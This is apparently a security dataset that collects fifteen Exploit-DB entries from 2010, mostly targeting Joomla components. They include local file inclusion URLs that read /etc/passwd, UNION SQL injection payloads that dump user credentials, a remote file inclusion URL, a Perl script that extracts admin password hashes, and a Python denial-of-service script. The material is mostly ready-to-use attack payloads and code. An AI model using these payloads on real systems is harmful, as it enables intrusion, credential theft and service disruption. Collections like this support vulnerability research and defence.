QLWD/code_shield huggingface dataset:
标题: Joomla! Component Multi-Venue Restaurant Menu Manager 1.5.2 - SQL Injection EDB-ID: 12159 CVE: 2010-1468 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-11 漏洞利用脚本: # Exploit Title: Joomla Component Multi-Venue Restaurant Menu Manager SQL Injection Vulnerability
# Date: 11.04.2010
# Author: Valentin
# Category: webapps/0day
# Version: 
# Tested on: 
# CVE :  
# Code : 

:: General information
:: Joomla Component Multi-Venue Restaurant Menu Manager SQL Injection Vulnerability
:: by Valentin Hoebel
:: valentin@xenuser.org

:: Product information
:: Name =  Multi-Venue Restaurant Menu Manager (MVRMM)
:: Vendor = Focusplus Developments Ltd.
:: Vendor Website = http://www.focusdev.co.uk/
:: Affected versions = 1.5.2 Stable Update 3 and all previous versions

:: SQL Injection Vulnerability
Vulnerable Parameter
"mid"

Vulnerable URL
http://some-cool-domain.tld/index.php?option=com_mv_restaurantmenumanager&task=menu_display&Venue=XX&mid=XX&Itemid=XX

:: Additional information
Exploitation can be a little bit tricky.

:: Misc
Greetz && Thanks to the inj3ct0r team, Exploit DB, hack0wn and ExpBase! URL: https://www.exploit-db.com/exploits/12159
标题: YaPiG 0.94.0u - Remote File Inclusion EDB-ID: 12164 CVE: 2005-1882 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-12 漏洞利用脚本: |=-----------------------------------------------------=|
  |=-------------=[  JIKO |No-exploit.Com|  ]=-----------=|
  |=-----------------------------------------------------=|
[~]-----------|00|
NAme    :JIKO (JAWAD)
Home    :No-exploit.Com
Mail    : !x!
[~]-----------|01|
    -{Script}
    name :YaPig V0.94.0u
    link :http://yapig.sourceforge.net/

[~]-----------|02|
    -{3xpl01t}
    http://no-exploit.com/last_gallery.php?YAPIG_PATH={Shell}
[~]-----------|03|
    -{Greetz}
    Cyber-Zone,HxH,Hussin X,ZaIdOoHxHaCkEr ,Stack,HiSoKa,The SadHacker,SkuLL-HacKeR ,Dr.NaNo
    |No-Exploit.com Members
------------------------------------- URL: https://www.exploit-db.com/exploits/12164
标题: Joomla! Component TRAVELbook 1.0.1 - Local File Inclusion EDB-ID: 12151 CVE: 2010-1535 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-11 漏洞利用脚本: ================================================================================================================


  [o] Joomla Component TRAVELbook Local File Inclusion Vulnerability
 
       Software : com_travelbook version 1.0.1
       Vendor   : http://www.demo-page.de/
       Author   : AntiSecurity [ Vrs-hCk NoGe OoN_BoY Paman zxvf s4va ]
       Contact  : public[at]antisecurity[dot]org
       Home     : http://antisecurity.org/


================================================================================================================


  [o] Exploit

       http://localhost/[path]/index.php?option=com_travelbook&controller=[LFI]


  [o] PoC

       http://localhost/index.php?option=com_travelbook&controller=../../../../../../../../../../etc/passwd%00


================================================================================================================


  [o] Greetz

       Angela Zhang stardustmemory aJe martfella pizzyroot Genex
       H312Y yooogy mousekill }^-^{ noname matthews s4va wishnusakti
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke


================================================================================================================


  [o] April 11 2010 - GMT +07:00 Jakarta, Indonesia URL: https://www.exploit-db.com/exploits/12151
标题: Joomla! Component TweetLA 1.0.1 - Local File Inclusion EDB-ID: 12142 CVE: 2010-1533 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-11 漏洞利用脚本: ====================================================================================================


  [o] Joomla Component TweetLA! Local File Inclusion Vulnerability
 
       Software : com_tweetla version 1.0.1
       Vendor   : http://www.demo-page.de/
       Author   : AntiSecurity [ Vrs-hCk NoGe OoN_BoY Paman zxvf s4va ]
       Contact  : public[at]antisecurity[dot]org
       Home     : http://antisecurity.org/


====================================================================================================


  [o] Exploit

       http://[site]/[path]/index.php?option=com_tweetla&controller=[LFI]


  [o] PoC

       http://localhost/index.php?option=com_tweetla&controller=../../../../../../../etc/passwd%00


====================================================================================================


  [o] Greetz

       Angela Zhang stardustmemory aJe martfella pizzyroot Genex
       H312Y yooogy mousekill }^-^{ noname matthews s4va wishnusakti
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke


====================================================================================================


  [o] April 11 2010 - GMT +07:00 Jakarta, Indonesia URL: https://www.exploit-db.com/exploits/12142
标题: Joomla! Component JProject Manager 1.0 - Local File Inclusion EDB-ID: 12146 CVE: 2010-1469 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-11 漏洞利用脚本: =====================================================================================================================


  [o] Joomla Component JProject Manager Local File Inclusion Vulnerability
 
       Software : com_jprojectmanager version 1.0
       Vendor   : http://www.joomla.ternaria.com/
       Author   : AntiSecurity [ NoGe Vrs-hCk OoN_BoY Paman zxvf s4va ]
       Contact  : public[at]antisecurity[dot]org
       Home     : http://antisecurity.org/


=====================================================================================================================


  [o] Exploit

       http://localhost/[path]/index.php?option=com_jprojectmanager&controller=[LFI]


  [o] PoC

       http://localhost/index.php?option=com_jprojectmanager&controller=../../../../../../../../../../etc/passwd%00


=====================================================================================================================


  [o] Greetz

       Angela Zhang stardustmemory aJe martfella pizzyroot Genex
       H312Y yooogy mousekill }^-^{ noname matthews s4va wishnusakti
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke


=====================================================================================================================


  [o] April 11 2010 - GMT +07:00 Jakarta, Indonesia URL: https://www.exploit-db.com/exploits/12146
标题: Joomla! Component AlphaUserPoints 1.5.5 - Local File Inclusion EDB-ID: 12150 CVE: 2010-1476 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-11 漏洞利用脚本: ===============================================================================================================


  [o] Joomla Component AlphaUserPoints Local File Inclusion Vulnerability
 
       Software : com_alphauserpoints version 1.5.5
       Vendor   : http://www.alphaplug.com/
       Author   : AntiSecurity [ Vrs-hCk NoGe OoN_BoY Paman zxvf s4va ]
       Contact  : public[at]antisecurity[dot]org
       Home     : http://antisecurity.org/


===============================================================================================================


  [o] Exploit

       http://localhost/[path]/index.php?option=com_alphauserpoints&view=[LFI]


  [o] PoC

       http://localhost/index.php?option=com_alphauserpoints&view=../../../../../../../../../../etc/passwd%00


===============================================================================================================


  [o] Greetz

       Angela Zhang stardustmemory aJe martfella pizzyroot Genex
       H312Y yooogy mousekill }^-^{ noname matthews s4va wishnusakti
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke


===============================================================================================================


  [o] April 11 2010 - GMT +07:00 Jakarta, Indonesia URL: https://www.exploit-db.com/exploits/12150
标题: Joomla! Component RokModule 1.1 - 'moduleid' Blind SQL Injection EDB-ID: 12148 CVE: 2010-1480 2010-1479 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-11 漏洞利用脚本: ==================================================================================================================


  [o] Joomla Component RokModule Blind SQLi [moduleid] Vulnerability
 
       Software : com_rokmodule version 1.1
       Vendor   : http://www.rockettheme.com/
       Author   : AntiSecurity [ NoGe Vrs-hCk OoN_BoY Paman zxvf s4va ]
       Contact  : public[at]antisecurity[dot]org
       Home     : http://antisecurity.org/


==================================================================================================================


  [o] Exploit

       http://localhost/[path]/index.php?option=com_rokmodule&tmpl=component&type=raw&offset=_OFFSET_&moduleid=[BSQLi]


  [o] PoC

       http://localhost/[path]/index.php?option=com_rokmodule&tmpl=component&type=raw&offset=_OFFSET_&moduleid=140+AND+SUBSTRING(@@version,1,1)=5 << true
       http://localhost/[path]/index.php?option=com_rokmodule&tmpl=component&type=raw&offset=_OFFSET_&moduleid=140+AND+SUBSTRING(@@version,1,1)=4 << false


==================================================================================================================


  [o] Greetz

       Angela Zhang stardustmemory aJe martfella pizzyroot Genex
       H312Y yooogy mousekill }^-^{ noname matthews s4va wishnusakti
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke


==================================================================================================================


  [o] April 11 2010 - GMT +07:00 Jakarta, Indonesia URL: https://www.exploit-db.com/exploits/12148
标题: Joomla! Component Jfeedback 1.2 - Local File Inclusion EDB-ID: 12145 CVE: 2010-1478 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-11 漏洞利用脚本: ===============================================================================================================


  [o] Joomla Component Jfeedback! Local File Inclusion Vulnerability
 
       Software : com_jfeedback version 1.2
       Vendor   : http://www.joomla.ternaria.com/
       Author   : AntiSecurity [ Vrs-hCk NoGe OoN_BoY Paman zxvf s4va ]
       Contact  : public[at]antisecurity[dot]org
       Home     : http://antisecurity.org/


===============================================================================================================


  [o] Exploit

       http://localhost/[path]/index.php?option=com_jfeedback&controller=[LFI]


  [o] PoC

       http://localhost/index.php?option=com_jfeedback&controller=../../../../../../../../../../etc/passwd%00


===============================================================================================================


  [o] Greetz

       Angela Zhang stardustmemory aJe martfella pizzyroot Genex
       H312Y yooogy mousekill }^-^{ noname matthews s4va wishnusakti
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke


===============================================================================================================


  [o] April 11 2010 - GMT +07:00 Jakarta, Indonesia URL: https://www.exploit-db.com/exploits/12145
标题: Joomla! Component Real Estate Property 3.1.22-03 - 'aid' SQL Injection EDB-ID: 12136 CVE: 2010-1874 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-10 漏洞利用脚本: +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

Author: c4uR [caurcdma@yahoo.com]
Date: April, 10-2010 [INDONESIA]
Exploit Title: Joomla Component com_properties[aid] SQL Injection Vulnerability

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

###################################################################################

+++ Vulnerable File +++
       http://127.0.0.1/index.php?option=com_properties&task=agentlisting&aid=[gubr4k]

+++ ExploiT +++
       -91+UNION+ALL+SELECT+1,2,version(),4,group_concat(username,0x3a,password,0x3a,usertype,0x3c62723e)c4uR,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32+from+jos_users--

+++ Example +++
       http://127.0.0.1/index.php?option=com_properties&task=agentlisting&aid=-91+UNION+ALL+SELECT+1,2,version(),4,group_concat(username,0x3a,password,0x3a,usertype,0x3c62723e)c4uR,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32+from+jos_users--



###################################################################################

----------------------------------------------------------------------------------

DEVILZC0DE.ORG + INDONESIANHACKER.ORG + HACKER-NEWBIE.ORG + YOGYACARDERLINK.WEB.ID
hashkiller.com + insidepro.com + xaknet.ru + turkishajan.com

----------------------------------------------------------------------------------

[ thnx to ]

[+] Apartement Griya Semanggi + poisonV
[+] Indonesia gg ada matinye, walaupun terkadang suram URL: https://www.exploit-db.com/exploits/12136
标题: Joomla! Component Preventive And Reservation 1.0.5 - Local File Inclusion EDB-ID: 12147 CVE: 2010-1475 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-11 漏洞利用脚本: =================================================================================================================


  [o] Joomla Component Preventive And Reservation Local File Inclusion Vulnerability
 
       Software : com_preventive version 1.0.5
       Vendor   : http://www.joomla.ternaria.com/
       Author   : AntiSecurity [ NoGe Vrs-hCk OoN_BoY Paman zxvf s4va ]
       Contact  : public[at]antisecurity[dot]org
       Home     : http://antisecurity.org/


=================================================================================================================


  [o] Exploit

       http://localhost/[path]/index.php?option=com_preventive&controller=[LFI]


  [o] PoC

       http://localhost/index.php?option=com_preventive&controller==../../../../../../../../../../etc/passwd%00


=================================================================================================================


  [o] Greetz

       Angela Zhang stardustmemory aJe martfella pizzyroot Genex
       H312Y yooogy mousekill }^-^{ noname matthews s4va wishnusakti
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke


=================================================================================================================


  [o] April 11 2010 - GMT +07:00 Jakarta, Indonesia URL: https://www.exploit-db.com/exploits/12147
标题: Tembria Server Monitor 5.6.0 - Denial of Service EDB-ID: 12131 CVE: 2010-1316 类型: DOS 平台: WINDOWS 发布日期: 2010-04-09 漏洞利用脚本: #!/usr/bin/python
# Exploit Title : Tembria Server Monitor 5.6.0
# CVE-ID        : CVE-2010-1316
# Date          : April 9, 2010
# Author        : Lincoln
# Software Link : http://www.tembria.com/
# Version       : 5.6.0
# OS            : Windows
# Tested on     : XP SP3 En (VirtualBox)
# Type of vuln  : Remote DoS
# Greetz to     : Corelan Security Team
# http://www.corelan.be:8800/index.php/security/corelan-team-members/
#
# Script provided 'as is', without any warranty.
# Use for educational purposes only.
# Do not use this code to do anything illegal !
#
# Note : you are not allowed to edit/modify this code.
# If you do, Corelan cannot be held responsible for any damages this may cause.
#
#
print "|------------------------------------------------------------------|"
print "|                         __               __                      |"
print "|   _________  ________  / /___ _____     / /____  ____ _____ ___  |"
print "|  / ___/ __ \/ ___/ _ \/ / __ `/ __ \   / __/ _ \/ __ `/ __ `__ \ |"
print "| / /__/ /_/ / /  /  __/ / /_/ / / / /  / /_/  __/ /_/ / / / / / / |"
print "| \___/\____/_/   \___/_/\__,_/_/ /_/   \__/\___/\__,_/_/ /_/ /_/  |"
print "|                                                                  |"
print "|                                       http://www.corelan.be:8800 |"
print "|                                                                  |"
print "|                                                                  |"
print "|-------------------------------------------------[ EIP Hunters ]--|"
print "\n[+] Exploit for Tembria Server Monitor 5.6.0"

import socket,sys

#usage ./filename.py IP PORT

host = sys.argv[1]
port = int(sys.argv[2]) #80

buf = "GET /tembria/index.asp/"  + "B" * 15000  + " A" + " HTTP/1.1\r\n\r\n"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
print "[+] DoS packet sent!\n"
s.send(buf)
s.close() URL: https://www.exploit-db.com/exploits/12131
标题: Joomla! Component Agenda Address Book 1.0.1 - 'id' SQL Injection EDB-ID: 12132 CVE: 2010-1716 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-09 漏洞利用脚本: #!/usr/bin/perl -w

# Joomla Component com_agenda 1.0.1 (id) Remote SQL Injection Vulnerability
# Author : v3n0m
# Site  : http://yogyacarderlink.web.id/
# Group  : YOGYACARDERLINK
# Date  : April, 10-2010 [INDONESIA]
# Software : com_agenda
# Version : 1.0.1 Other versions may also be affected
# Download : http://www.joomlanetprojects.com/index.php/es/joomla-projects-descargas/joomla-1/joomla-1/42-comagenda.html
# Greetz : All Yogyacarderlink & devilzc0de Crews
# ShoutZ : elich4 (smart but absurd)
print "|----------------------------------------------------|\n";
print "|  YOGYACARDERLINK 'com_agenda Remote SQL Injector'  |\n";
print "| Coded by : v3n0m                                   |\n";
print "| Greets   : Yogyacarderlink Crew                    |\n";
print "| Shoutz   : elich4 (smart but absurd)               |\n";
print "| Dork     : inurl:option=com_agenda                 |\n";
print "|                                                    |\n";
print "|                         www.yogyacarderlink.web.id |\n";
print "|----------------------------------------------------|\n";
use LWP::UserAgent;
print "\nMasukin Target:[http://wwww.target.com/path/]: ";
chomp(my $target=<STDIN>);
#Nama Column
$concatenation="concat(username,char(58),password)v3n0m";
#Nama Table
$table="jos_users";
$injection="-999999+union+select+";
$b = LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
$host = $target . "index.php?option=com_agenda&view=detail&id=".$injection."0,".$concatenation."2,3,4,5,6,7,8,9,10,11,12,13,14,15,16+from/**/".$table."+--+";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content; if ($answer =~/([0-9a-fA-F]{32})/){
print "\n[+] Admin Hash : $1\n";
print "[+] Success !! Check target for details...\n";
print "\n";
print "Attention:\n";
print "v3n0m emang paling ganteng se-jabotabek\n";
print "Yang kaga setuju/protes = GAY !!\n";
print "\n";
}
else{print "\n[-] wah gagal bro (Belom Cebok tangan lo)...\n";
} URL: https://www.exploit-db.com/exploits/12132
标题: Joomla! Component Foobla Suggestions 1.5.1.2 - Local File Inclusion EDB-ID: 12120 CVE: 2010-2920 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-09 漏洞利用脚本: -----------------------------------------------------------------------------------------
Joomla Component Foobla Suggestions Local File Inclusion
-----------------------------------------------------------------------------------------

Author  : Chip D3 Bi0s
Email  : chipdebios[alt+64]gmail.com
Date  : April 08, 2010
Critical Lvl : Moderate
Impact  : Exposure of sensitive information
Where  : From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application    : foobla Suggestions
version        : 1.5.1.2
Developer      : foobla
License        : GPL            type  : Commercial
Date Added     : Dec 21, 2009
Download       : http://foobla.com/products/featured-joomla-extensions/foobla-suggestions-for-joomla.html

Description    :

Have you ever used Uservoice? Would you like to have something similar on Joomla but with unlimited features and no monthly fee?

The foobla Suggestions allows you to collect ideas, suggestions, and votes from your cutomers. For more information check out the features list, screenshots, and demo.

FEATURES

* GNU/GPL license. Purchase, install in unlimited domains and get professional support.
* AJAX base for frontend.
* Allow to import ideas from Uservoice account.
* Bad words filter.
* Export database to XML format.
* Import to database from XML backup file.
* Flexible user permissioning.
* Easy to implement, ONE-CLICK Installation package: 01 component (backend & frontend) + 02 plugin + 01 module.
* Express Install Tools in backend.
* One-Click upgrade to newer version.
* Translation Manager built-in.
---------------------------------------------------------------------------

Poc/Exploit:
~~~~~~~~~

http://127.0.0.1/[path]/index.php?option=com_foobla_suggestions&controller=[LFI]%00




+++++++++++++++++++++++++++++++++++++++
#[!] Produced in South America
+++++++++++++++++++++++++++++++++++++++ URL: https://www.exploit-db.com/exploits/12120
标题: Joomla! Component PowerMail Pro 1.5.3 - Local File Inclusion EDB-ID: 12118 CVE: 2010-1532 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-09 漏洞利用脚本: ===============================================================================================================


  [o] Joomla Component PowerMail Pro Local File Inclusion Vulnerability
 
       Software : com_powermail version 1.5.3
       Vendor   : http://www.givesight.org
       Author   : AntiSecurity [ Vrs-hCk NoGe OoN_BoY Paman zxvf s4va ]
       Contact  : public[at]antisecurity[dot]org
       Home     : http://antisecurity.org/


===============================================================================================================


  [o] Exploit

       http://localhost/[path]/index.php?option=com_powermail&controller=[LFI]


  [o] PoC

       http://localhost/index.php?option=com_powermail&controller=../../../../../../../../../../etc/passwd%00


===============================================================================================================


  [o] Greetz

       Angela Zhang stardustmemory aJe martfella pizzyroot Genex
       H312Y yooogy mousekill }^-^{ noname matthews kaka11 wishnusakti
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke


===============================================================================================================


  [o] Special

       Happy birthday OoN_BoY ^_______^
       Wish u all the best brotha.. GBU


  [o] April 09 2010 - GMT +07:00 Jakarta, Indonesia URL: https://www.exploit-db.com/exploits/12118
标题: Joomla! Component JA Voice 2.0 - Local File Inclusion EDB-ID: 12121 CVE: 2010-1982 类型: WEBAPPS 平台: PHP 发布日期: 2010-04-09 漏洞利用脚本: [!]===========================================================================[!]

[~] Joomla Component JA Voice LFI vulnerability 
[~] Author : kaMtiEz (kamzcrew@yahoo.com)
[~] Homepage : http://www.indonesiancoder.com
[~] Date : 9 april, 2010

[!]===========================================================================[!]

[ Software Information ]

[+] Vendor : http://www.joomlart.com/
[+] Price : free
[+] Vulnerability : LFI
[+] Dork : inurl:"CIHUY" ;)
[+] Download : http://www.joomlart.com/forums/downloads.php?do=file&id=533


[!]===========================================================================[!]

[ Vulnerable File ]

http://127.0.0.1/index.php?option=com_javoice&view=[INDONESIANCODER]

[ XpL ]

../../../../../../../../../../../../../../../etc/passwd%00


etc etc etc ;]

[!]===========================================================================[!]

[ Thx TO ]

[+] INDONESIAN CODER TEAM MainHack ServerIsDown SurabayaHackerLink IndonesianHacker MC-CREW
[+] tukulesto,M3NW5,arianom,N4CK0,Jundab,d0ntcry,bobyhikaru,gonzhack,senot
[+] Contrex,YadoY666,yasea,bugs,Ronz,Pathloader,cimpli,MarahMerah.IBL13Z,r3m1ck
[+] Coracore,Gh4mb4s,Jack-,VycOd,m0rgue,otong,CS-31,yur4kh4,


[ NOTE ] 

[+] WE ARE ONE UNITY, WE ARE A CODER FAMILY, AND WE ARE INDONESIAN CODER TEAM 
[+] Jika kami bersama Nyalakan Tanda Bahaya ;)
[+] Ayy : lup u :">
[+] CS-31 : thanks for coming in my t0wn :D

[ QUOTE ]

[+] INDONESIANCODER still r0x
[+] nothing secure .. URL: https://www.exploit-db.com/exploits/12121